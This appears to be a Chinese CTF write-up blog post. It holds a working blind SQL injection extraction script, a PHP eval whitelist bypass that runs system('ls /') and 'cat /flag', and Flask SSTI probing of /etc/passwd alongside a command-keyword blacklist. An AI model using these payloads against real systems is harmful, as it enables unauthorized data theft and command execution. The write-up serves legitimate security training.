param_name = "id"  # 存在注入的参数名
true_keyword = "NO! Not this! Click others~~~"  # 条件为真时的页面特征
max_length = 500  # 最大猜测长度


def check_condition(payload):
    """
    发送请求并检查条件是否成立
    :param payload: SQL条件语句(不带闭合)
    :return: 布尔值,表示条件是否成立
    """
    # 构造完整Payload并编码
    full_payload = f"0^{payload} "
    #使用 f - 字符串可以直接在字符串中插入变量的值,相比于传统的字符串格式化方法(如 % 格式化或 str.format() 方法)
    encoded_payload = quote_plus(full_payload)  # URL 编码

    try:
        response = requests.get(
            f"{target_url}?{param_name}={encoded_payload}",
            timeout=5
        )
        return true_keyword in response.text
    except Exception as e:
        print(f"[!] 请求失败: {str(e)}")
        return False


def extract_data(query):
    """
    使用二分法逐字符提取数据
    :param query: SQL查询语句
    :return: 提取的字符串
    """
    result = ""
    for pos in range(1, max_length):
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            condition = f"((ascii(substr({query}),{pos},1)))>{mid})"
            if check_condition(condition):
                low = mid + 1
            else:
                high = mid - 1
        result += chr(high+1)
        #当 check_condition 返回 False 时,high 会被更新为 mid - 1。所以,目标字符的 ASCII 码实际上就是 high + 1。
        print(f"[*] 当前进度: {result}")
    return result


if __name__ == "__main__":
    #print("[+] 正在提取数据库名称...")
    #db_name = extract_data("(select(group_concat(schema_name))from(information_schema.schemata)")
    #print(f"[+] 数据库名称: {db_name}")
    #information_schema,performance_schema,test,mysql,geek

    #table_name = extract_data("(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')")
    #print(f"[+] 表名称: {table_name}")
    #F1naI1y,Flaaaaag

    #column_name = extract_data("(select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')")
    #print(f"[+] 列名称: {column_name}")
    #id,fl4gawsl

    flag = extract_data("(select(group_concat(id))from(F1naI1y)")
    print(f"[+] 内容: {flag}")
    #cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7cf79887-48e3-42a4-ae01-17a0cb33c188}

# -*- coding: UTF-8 -*- #
"""
@filename:final SQL.py
@auther:qing
@time:2025-3-31
"""

值得注意的是,我在编写脚本时,在设置low, high = 32, 126时一开始范围是从0到200(想着无所谓),但这样爆出的结果会有乱码,因此还是设置在正常范围内吧。


[BSidesCF 2019]Futurella

这题真无敌了吧,我打算复制去Bing一下,结果直接自动翻译了。

Resistance is futile! Bring back Futurella or we'll invade!  Also, the flag is flag{94accd60-8f06-4be2-8852-5bda9d9a0283}

可能就是style.css在作祟


[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
base_convert(37907361743, 10, 36)
base_convert 是 PHP 中的一个函数,其作用是将一个数字从一种进制转换为另一种进制。这里 base_convert(37907361743, 10, 36) 表示把十进制数 37907361743 转换为 36 进制的数,最终得到 "hex2bin"。在 36 进制里,使用的字符集是 0 - 9 和 a - z。
2. dechex(1598506324)
dechex 函数的功能是把十进制数转换为十六进制数。dechex(1598506324) 会将十进制数 1598506324 转换为十六进制,结果是 "5f474554"。
3. $pi = hex2bin("5f474554")
hex2bin 函数的作用是把十六进制字符串转换为二进制字符串。hex2bin("5f474554") 会将十六进制字符串 "5f474554" 转换为对应的二进制字符串,实际上得到的是 "_GET",然后将其赋值给变量 $pi。
4. ($$pi){pi}(($$pi){abs})
在 PHP 中,$$ 是可变变量的语法。可变变量允许你动态地设置和使用变量名。因为 $pi 的值是 "_GET",所以 $$pi 就等同于 $_GET。
{} 在某些情况下可以替代 [] 来访问数组元素。所以 ($$pi){pi} 就相当于 $_GET['pi'],($$pi){abs} 相当于 $_GET['abs']。
整体 ($$pi){pi}(($$pi){abs}) 实际上就是执行 $_GET['pi']($_GET['abs']),也就是调用通过 GET 请求传递进来的 pi 参数所代表的函数,并且将 GET 请求传递进来的 abs 参数作为该函数的参数。
hex2bin("5f474554")
=>base_convert(37907361743, 10, 36)(dechex(1598506324))=$pi
system("ls /")
=>($$pi){tan}(($$pi){sin})
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){sin})&pi=system&sin=ls /
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){sin})&pi=system&sin=cat /flag
flag{d0162c99-47e5-4483-9828-1feeae7b7fc6}

关于ctf中flask算pin总结_ctf:flask-CSDN博客

{{7*7}}->no
{{7+7}}->14
试了试,popen,*不能

open('/etc/passwd/')

给chef美化一下

from flask import Flask, render_template_string, render_template, request, flash, redirect, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)


class NameForm(FlaskForm):
    text = StringField('BASE64加密', validators=[DataRequired()])
    submit = SubmitField('提交')


class NameForm1(FlaskForm):
    text = StringField('BASE64解密', validators=[DataRequired()])
    submit = SubmitField('提交')


def waf(str_val):
    black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket",
                  "hex", "base64", "*", "?"]
    for x in black_list:
        if x in str_val.lower():
            return 1
    return 0


@app.route('/hint', methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html", txt=txt)


@app.route('/', methods=['POST', 'GET'])
def encode():
    if request.values.get('text'):
        text = request.values.get("text")
        text_encoded = base64.b64encode(text.encode())
        tmp = f"结果 :{text_encoded.decode()}"
        flash(tmp)
        return redirect(url_for('encode'))
    else:
        form = NameForm()
        return render_template("index.html", form=form, method="加密", img="flask.png")


@app.route('/decode', methods=['POST', 'GET'])
def decode():
    if request.values.get('text'):
        text = request.values.get("text")
        try:
            text_decoded = base64.b64decode(text.encode())
            tmp = f"结果 : {text_decoded.decode()}"
            if waf(tmp):
                flash("no no no !!")
                return redirect(url_for('decode'))
            flash(tmp)
        except base64.binascii.Error:
            flash("输入的不是有效的 Base64 编码字符串")
        return redirect(url_for('decode'))
    else:
        form = NameForm1()
        return render_template("index.html", form=form, method="解密", img="flask1.png")


@app.route('/<name>', methods=['GET'])
def not_found(name):
    return render_template("404.html", name=name)


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)
   

文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录